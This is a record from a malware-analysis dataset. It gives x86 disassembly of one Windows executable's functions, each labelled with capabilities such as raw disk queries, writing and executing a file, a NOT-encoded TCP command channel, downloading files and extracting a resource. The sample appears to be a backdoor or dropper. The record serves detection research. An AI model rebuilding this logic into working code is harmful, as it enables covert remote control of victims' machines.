joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022d0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [0x433f90], 0
call fcn.004156e0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4023bf
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402384
mov eax, dword [esp + 8]
test eax, eax
jne 0x40235b
cmp word [esp + 0x114], 4
jb 0x4023bf
mov dword [0x433f90], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413142
add esp, 0x120
ret
cmp eax, 2
jae 0x402365
cmp eax, 1
jne 0x4023bf
mov dword [0x433f90], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413142
add esp, 0x120
ret
cmp eax, 6
jne 0x4023bf
mov eax, dword [esp + 8]
test eax, eax
jne 0x4023b0
mov dword [0x433f90], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413142
add esp, 0x120
ret
cmp eax, 1
jne 0x4023bf
mov dword [0x433f90], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413142
add esp, 0x120
ret

Function at 0x402490
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.004156e0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x40255f
mov eax, 0x42d7fc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4024d5
sub eax, edx
sar eax, 1
je 0x40255f
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42d7fc
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00413151
push 0x42db04
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0041367e
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40255f
push eax
push 1
push 0x200
push esi
call fcn.0041464d
mov eax, dword [esp + 0x14]
push eax
call fcn.0041392c
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret
Function at 0x402580
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.004156e0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402685
mov eax, 0x42daec
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4025c5
sub eax, edx
sar eax, 1
je 0x402685
cmp dword [0x433f90], 3
jne 0x40260c
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42db0c
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00413151
add esp, 0xc
jmp 0x40261c
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42daec
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00413151
push 0x42db10
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.0041367e
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402685
push eax
push 1
push 0x200
push esi
call fcn.0041464d
mov edx, dword [esp + 0x14]
push edx
call fcn.0041392c
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret

Function at 0x4026a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.004156e0
add esp, 0xc
cmp dword [0x433f90], 3
jne 0x402700
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42db18
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00413151
add esp, 0xc
jmp 0x40270f
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x42db1c
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00413142
add esp, 0x20c
ret

Function at 0x4028e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004156e0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402b30
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402c40
cmp eax, 0xffffffff
jne 0x402962
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413142
add esp, 0x218
ret
push esi
call fcn.00402810
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00413142
add esp, 0x218
ret
Function at 0x402990
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402aae
push 0xb69
call fcn.00408ce4
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402aa1
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x402a09
jg 0x4029fd
test ecx, ecx
jbe 0x402a09
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x402a0d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x402a37
jg 0x402a23
cmp ecx, edx
jbe 0x402a37
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x402a61
jg 0x402a4d
cmp ecx, edx
jbe 0x402a61
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x402a8b
jg 0x402a77
cmp ecx, edx
jbe 0x402a8b
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.004174f0
mov dword [esp + 0x10], eax
test esi, esi
je 0x402aae
push esi
call fcn.00408d13
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402ad0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402b21
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402d80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.0041324f
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42dc60]
fadd qword [0x42dc78]
call fcn.00417400
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x402ea0
call fcn.0041324f
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42dc60]
fmul qword [0x42dc70]
fadd qword [0x42dc68]
call fcn.00417400
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x402e88
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x402e79
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x402e70
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x402e37
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x402f40
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.004156e0
add esp, 0xc
cmp edi, esi
je 0x403028
mov eax, 0x42dba4
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402f85
sub eax, edx
sar eax, 1
je 0x402faf
push 0x42dba8
lea edx, [esp + 8]
push 0x42dba4
push edx
call fcn.0041367e
add esp, 0xc
jmp 0x402fea
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42dbb0
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.00413151
push 0x42dbcc
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0041367e
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x40300d
push eax
push 1
push 0x200
push edi
call fcn.00413833
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0041392c
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00413142
add esp, 0x214
ret
Function at 0x403040
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42dbd4
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.0041367e
add esp, 0xc
test eax, eax
je 0x403064
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.00414bb6
mov eax, dword [esp + 0x1c]
push eax
call fcn.00414a4a
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.00414bb6
lea ebp, [esi + 0x32]
push ebp
call fcn.004134ee
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0041464d
mov eax, dword [esp + 0x40]
push eax
call fcn.0041392c
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403110
mov ecx, dword [esp + 0x4c]
push 0x42dbdc
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.0041367e
add esp, 0x40
test eax, eax
je 0x4030e2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00413833
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0041392c
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x403160
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42dc54
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.00414ab8
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.0041466a
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00414880
add esp, 0x14
test eax, eax
je 0x4031eb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4032e7
mov eax, 0x434038
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403220
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403237
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403250
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.00408ce4
push edi
mov esi, eax
push 0
push esi
call fcn.004156e0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x434038
push edi
push esi
call fcn.00413dd4
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4032a0
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x42dbe4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4032e5
push esi
call fcn.00408d13
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.00413142
add esp, 0x314
ret
Function at 0x4035f0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403669
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403641
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403672
cmp ebx, 3
jb 0x403605
mov edi, 0xfffffffd
test esi, esi
je 0x403661
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40364c
mov eax, esi
test esi, esi
je 0x4036de
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40368c
cmp dword [eax + 0x1c], 0
jne 0x403697
mov eax, dword [eax + 8]
test eax, eax
jne 0x403681
xor edi, edi
jmp 0x403651
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403651

Function at 0x403a40
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403b80
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403b5d
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004156e0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.004156e0
add esp, 0xc
lea esi, [esp + 8]
call fcn.00403930
push 0x42dc3c
mov ecx, esi
push 0x104
push ecx
call fcn.00413151
add esp, 0xc
mov esi, 0x436ce0
cmp word [esi], 0
je 0x403afc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004131ce
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00413151
add esp, 0xc
add esi, 0x118
cmp esi, 0x437258
jl 0x403ac6
mov esi, 0x436ce0
nop
cmp word [esi], 0
je 0x403b21
push ebx
push edi
push esi
call fcn.004043e0
add esp, 0xc
add esi, 0x118
cmp esi, 0x437258
jl 0x403b10
push 0x4378d0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00413151
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403b5b
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00413142
add esp, 0x41c
ret
Function at 0x403d90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403dbb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403df0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413142
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403dd8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403e2c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403e85
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403e85
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413142
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403e94
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00413142
add esp, 0x9b0
ret

Function at 0x403ff0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404072
cmp edi, eax
jle 0x40401d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404010
lea ebx, [edi + 7]
push ebx
call fcn.00408ce4
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x433f94]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x433f98]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0041bc90
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404076
cmp eax, ebx
jne 0x404076
mov dword [esp + 0xc], 1
jmp 0x404076
mov esi, dword [esp + 0x14]
test esi, esi
je 0x404083
push esi
call fcn.00408d13
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404250
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404291
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4043ad
test edx, edx
je 0x4043ad
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.004156e0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4043c5
test eax, eax
je 0x4043c5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00408ce4
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40439b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404379
test eax, eax
je 0x404379
add esi, eax
cmp edi, esi
jg 0x404304
cmp esi, 5
jl 0x40439b
mov ecx, dword [0x433f94]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40439b
mov dl, byte [ebx + 4]
cmp dl, byte [0x433f98]
jne 0x40439b
test esi, esi
jle 0x40435c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404350
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404381
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0041bc90
mov dword [edi], esi
jmp 0x404390
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40439b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0041bc90
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4043a8
push ebx
call fcn.00408d13
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00413142
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00413142
add esp, 0x8d8
ret
Function at 0x404660
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00417b90
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4046b8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00413142
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x4046f7
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4046f6
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00413833
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4046c0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0041392c
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00413142
add esp, 0x100c
ret

Function at 0x404730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x42b874
mov edi, eax
push 0x82
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4047a3
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00408ce4
push esi
mov edi, eax
push 0
push edi
call fcn.004156e0
push esi
push ebp
push edi
call fcn.0041bc90
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret